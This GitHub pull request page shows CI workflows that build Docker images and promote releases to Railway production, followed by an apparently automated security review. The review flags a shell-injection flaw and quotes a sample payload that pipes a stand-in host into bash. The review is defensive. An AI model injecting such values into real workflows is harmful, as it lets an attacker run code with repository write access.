-
Notifications
You must be signed in to change notification settings - Fork 328
feat(github): add Projects (v2) support via github-mcp-server proxy #252
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Closed
vivek
wants to merge
16
commits into
oomol-lab:main
from
joystream-ai:feature/github-projects-support
Closed
Changes from all commits
Commits
Show all changes
16 commits
Select commit
Hold shift + click to select a range
99dbf26
feat(tenancy): partition connections by tenant and add a Postgres bac…
vivek 9bb4b9b
feat(connect): add credential read-out and connection.created webhooks
vivek 873b0d3
feat(connect): add browser-facing connect sessions
vivek d1bc7af
feat(postgres): keep runtime state in its own schema
vivek 403192a
feat(connect): let the OAuth callback redirect to an embedder's own c…
vivek 5550564
feat(runtime-tokens): bind tokens to allowed connections (Layer-4 gap)
vivek b1244d1
fix(runtime-tokens): split allowed_connections into its own Postgres …
vivek 3b78e7d
ci: publish amd64 images to GHCR and add Railway promotion workflow
vivek b99a021
style: fix oxfmt table formatting in configuration.md and joystream-d…
vivek 92a002d
fix(ci): prefix production release tags with joystream-v, not v
vivek 21b97f5
Merge pull request #1 from joystream-ai/ci/railway-deployment
vivek 8aa90ff
ci: remove PR Maintainer Edits workflow
vivek 2b5f03b
Merge pull request #2 from joystream-ai/feature/tenancy
vivek eb7a444
fix(ci): grant packages: write to publish-docker.yml
vivek 3d3db29
Merge pull request #3 from joystream-ai/fix/publish-docker-permissions
vivek eba02a4
feat(github): add Projects (v2) support via github-mcp-server proxy
vivek File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,54 @@ | ||
| name: Build Image | ||
|
|
||
| # Reusable build: builds docker/Dockerfile for linux/amd64 and pushes it to GHCR | ||
| # under every tag the caller supplies. | ||
| # | ||
| # Centralized here so there is exactly one build definition. publish-docker.yml | ||
| # (tip + commit SHA on every push to main) and promote-production.yml (vX.Y.Z + | ||
| # latest on promotion) both call this instead of each keeping their own copy of | ||
| # the build steps, so a release image is guaranteed to come from the same | ||
| # Dockerfile/build steps as a tip image, never a second, potentially-drifted one. | ||
|
|
||
| on: | ||
| workflow_call: | ||
| inputs: | ||
| tags: | ||
| description: "Newline-separated full image refs to tag and push, e.g. ghcr.io/org/repo:v1.2.3" | ||
| required: true | ||
| type: string | ||
|
|
||
| permissions: | ||
| contents: read | ||
| packages: write | ||
|
|
||
| jobs: | ||
| build: | ||
| name: Build & push (linux/amd64) | ||
| runs-on: ubuntu-24.04 | ||
| steps: | ||
| - name: Checkout | ||
| uses: actions/checkout@v7 | ||
| with: | ||
| persist-credentials: false | ||
|
|
||
| - name: Log in to GHCR | ||
| uses: docker/login-action@v4 | ||
| with: | ||
| registry: ghcr.io | ||
| username: ${{ github.actor }} | ||
| password: ${{ secrets.GITHUB_TOKEN }} | ||
|
|
||
| - name: Set up Docker Buildx | ||
| uses: docker/setup-buildx-action@v3 | ||
|
|
||
| - name: Build and push | ||
| uses: docker/build-push-action@v6 | ||
| with: | ||
| context: . | ||
| file: docker/Dockerfile | ||
| platforms: linux/amd64 | ||
| push: true | ||
| tags: ${{ inputs.tags }} | ||
| provenance: false | ||
| cache-from: type=gha | ||
| cache-to: type=gha,mode=max |
This file was deleted.
Oops, something went wrong.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,170 @@ | ||
| name: Promote to Production | ||
|
|
||
| # Cut (or reuse) a semver release for main's current tip, build that exact commit | ||
| # as joystream-vX.Y.Z + latest, and deploy it to the Railway production service. | ||
| # This is the only path that ships to production — see docs/joystream-deployment.md. | ||
| # | ||
| # Tags are prefixed `joystream-v`, not plain `v`: this repo is a fork of | ||
| # oomol-lab/open-connector, whose own release history already occupies the | ||
| # plain `v*` tag namespace (v1.0.0..v1.3.3 as of this writing) and will keep | ||
| # growing as upstream is merged in. A plain `vX.Y.Z` scheme would eventually | ||
| # collide with — or worse, silently get "reused" as — an upstream release tag | ||
| # that happens to share the same number but points at a different commit. | ||
| # | ||
| # Promotion is by commit, not "whatever main happens to be": the release always | ||
| # tags main's tip at the moment this workflow runs. Before running it, confirm | ||
| # the commit currently deployed to staging is the one you intend to ship — there | ||
| # is no automated check for that yet. | ||
| # | ||
| # Every step is idempotent (reuses an existing tag/release for the resolved | ||
| # version rather than erroring), so a partially-failed run can just be re-run. | ||
|
|
||
| on: | ||
| workflow_dispatch: | ||
| inputs: | ||
| version: | ||
| description: "Release tag (e.g. joystream-v1.5.0). Blank = auto-bump patch of latest joystream-v* tag." | ||
| type: string | ||
| required: false | ||
|
|
||
| permissions: | ||
| contents: write | ||
| packages: write | ||
|
|
||
| concurrency: | ||
| group: promote-production | ||
| cancel-in-progress: false | ||
|
|
||
| jobs: | ||
| release: | ||
| name: Tag + create release | ||
| runs-on: ubuntu-24.04 | ||
| outputs: | ||
| tag: ${{ steps.ver.outputs.tag }} | ||
| steps: | ||
| - name: Checkout main (full history + tags) | ||
| uses: actions/checkout@v7 | ||
| with: | ||
| ref: main | ||
| fetch-depth: 0 | ||
| fetch-tags: true | ||
| token: ${{ github.token }} | ||
|
|
||
| - name: Configure git identity | ||
| run: | | ||
| git config user.name "github-actions[bot]" | ||
| git config user.email "41898282+github-actions[bot]@users.noreply.github.com" | ||
|
|
||
| - name: Resolve release tag | ||
| id: ver | ||
| run: | | ||
| MAIN=$(git rev-parse origin/main) | ||
|
|
||
| # Recovery: if a joystream-v* tag already points at main's tip, reuse | ||
| # it instead of cutting a duplicate — unless an explicit version was | ||
| # requested. Prefixed to avoid colliding with upstream's own v* tags. | ||
| EXISTING=$(git tag --points-at "$MAIN" 'joystream-v*' | head -1) | ||
| IN="${{ inputs.version }}" | ||
|
|
||
| if [ -n "$IN" ]; then | ||
| TAG="$IN" | ||
| elif [ -n "$EXISTING" ]; then | ||
| echo "main is already tagged $EXISTING — reusing it." | ||
| TAG="$EXISTING" | ||
| else | ||
| LATEST=$(git tag --list 'joystream-v*' --sort=-v:refname | head -1) | ||
| LATEST=${LATEST:-joystream-v0.0.0} | ||
| BASE=${LATEST#joystream-v}; BASE=${BASE%%-*} | ||
| IFS='.' read -r MA MI PA <<< "$BASE" | ||
| TAG="joystream-v${MA:-0}.${MI:-0}.$(( ${PA:-0} + 1 ))" | ||
| fi | ||
|
|
||
| echo "tag=$TAG" >> "$GITHUB_OUTPUT" | ||
| echo "sha=$MAIN" >> "$GITHUB_OUTPUT" | ||
| echo "Release tag: $TAG ($MAIN)" | ||
|
|
||
| - name: Create and push tag | ||
| run: | | ||
| TAG="${{ steps.ver.outputs.tag }}" | ||
| if git rev-parse -q --verify "refs/tags/$TAG" >/dev/null; then | ||
| echo "$TAG already exists — skipping tag creation." | ||
| else | ||
| git tag -a "$TAG" "${{ steps.ver.outputs.sha }}" -m "Production release $TAG" | ||
| git push origin "$TAG" | ||
| fi | ||
|
|
||
| - name: Create GitHub Release | ||
| env: | ||
| GH_TOKEN: ${{ github.token }} | ||
| run: | | ||
| TAG="${{ steps.ver.outputs.tag }}" | ||
| if gh release view "$TAG" >/dev/null 2>&1; then | ||
| echo "Release $TAG already exists — skipping." | ||
| else | ||
| gh release create "$TAG" --target "${{ steps.ver.outputs.sha }}" --title "$TAG" --generate-notes | ||
| fi | ||
|
|
||
| build: | ||
| name: Build & push release image | ||
| needs: release | ||
| uses: ./.github/workflows/build-image.yml | ||
| with: | ||
| tags: | | ||
| ghcr.io/${{ github.repository }}:${{ needs.release.outputs.tag }} | ||
| ghcr.io/${{ github.repository }}:latest | ||
|
|
||
| deploy: | ||
| name: Deploy to Railway production | ||
| needs: [release, build] | ||
| runs-on: ubuntu-24.04 | ||
| env: | ||
| RAILWAY_API_TOKEN: ${{ secrets.RAILWAY_API_TOKEN }} | ||
| SERVICE_ID: ${{ vars.RAILWAY_PRODUCTION_SERVICE_ID }} | ||
| ENVIRONMENT_ID: ${{ vars.RAILWAY_PRODUCTION_ENVIRONMENT_ID }} | ||
| IMAGE: ghcr.io/${{ github.repository }}:${{ needs.release.outputs.tag }} | ||
| steps: | ||
| # serviceInstanceUpdate writes config only — it does not deploy anything. | ||
| - name: Point production at the release image | ||
| run: | | ||
| response=$(curl -sf -X POST https://backboard.railway.com/graphql/v2 \ | ||
| -H "Authorization: Bearer $RAILWAY_API_TOKEN" \ | ||
| -H "Content-Type: application/json" \ | ||
| -d "$(jq -n \ | ||
| --arg serviceId "$SERVICE_ID" \ | ||
| --arg environmentId "$ENVIRONMENT_ID" \ | ||
| --arg image "$IMAGE" \ | ||
| '{ | ||
| query: "mutation($serviceId: String!, $environmentId: String!, $image: String!) { serviceInstanceUpdate(serviceId: $serviceId, environmentId: $environmentId, input: { source: { image: $image } }) }", | ||
| variables: { serviceId: $serviceId, environmentId: $environmentId, image: $image } | ||
| }')") | ||
| echo "$response" | ||
| if echo "$response" | jq -e '.errors' >/dev/null 2>&1; then | ||
| echo "::error::Railway API rejected serviceInstanceUpdate: $response" | ||
| exit 1 | ||
| fi | ||
|
|
||
| # serviceInstanceUpdate alone does not trigger a deploy; this does. | ||
| - name: Trigger deploy | ||
| run: | | ||
| response=$(curl -sf -X POST https://backboard.railway.com/graphql/v2 \ | ||
| -H "Authorization: Bearer $RAILWAY_API_TOKEN" \ | ||
| -H "Content-Type: application/json" \ | ||
| -d "$(jq -n \ | ||
| --arg serviceId "$SERVICE_ID" \ | ||
| --arg environmentId "$ENVIRONMENT_ID" \ | ||
| '{ | ||
| query: "mutation($serviceId: String!, $environmentId: String!) { serviceInstanceDeployV2(serviceId: $serviceId, environmentId: $environmentId) }", | ||
| variables: { serviceId: $serviceId, environmentId: $environmentId } | ||
| }')") | ||
| echo "$response" | ||
| if echo "$response" | jq -e '.errors' >/dev/null 2>&1; then | ||
| echo "::error::Railway API rejected serviceInstanceDeployV2: $response" | ||
| exit 1 | ||
| fi | ||
|
|
||
| - name: Summary | ||
| run: | | ||
| echo "### Promoted to production :rocket:" >> "$GITHUB_STEP_SUMMARY" | ||
| echo "" >> "$GITHUB_STEP_SUMMARY" | ||
| echo "- Tag: \`${{ needs.release.outputs.tag }}\`" >> "$GITHUB_STEP_SUMMARY" | ||
| echo "- Image: \`$IMAGE\`" >> "$GITHUB_STEP_SUMMARY" | ||
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
Repository: oomol-lab/open-connector
Length of output: 565
🏁 Script executed:
Repository: oomol-lab/open-connector
Length of output: 8213
🏁 Script executed:
Repository: oomol-lab/open-connector
Length of output: 167
Fix the shell-injection risk in the release-tag resolution step.
IN="${{ inputs.version }}"splices the rawworkflow_dispatchinput directly into the run script before bash parses it. Aversionvalue containing shell metacharacters, such asx"; curl evil.example | bash #, executes as part of this step. This job holdscontents: writeandpackages: write, and usesgithub.tokenwithoutpersist-credentials: false, so crafted input can run commands with that access.Pass
inputs.versionthroughenv:and validate it asjoystream-vX.Y.Zbefore use. This also avoids a value containing\nkey=valuefrom injecting extra$GITHUB_OUTPUTkeys.🤖 Prompt for AI Agents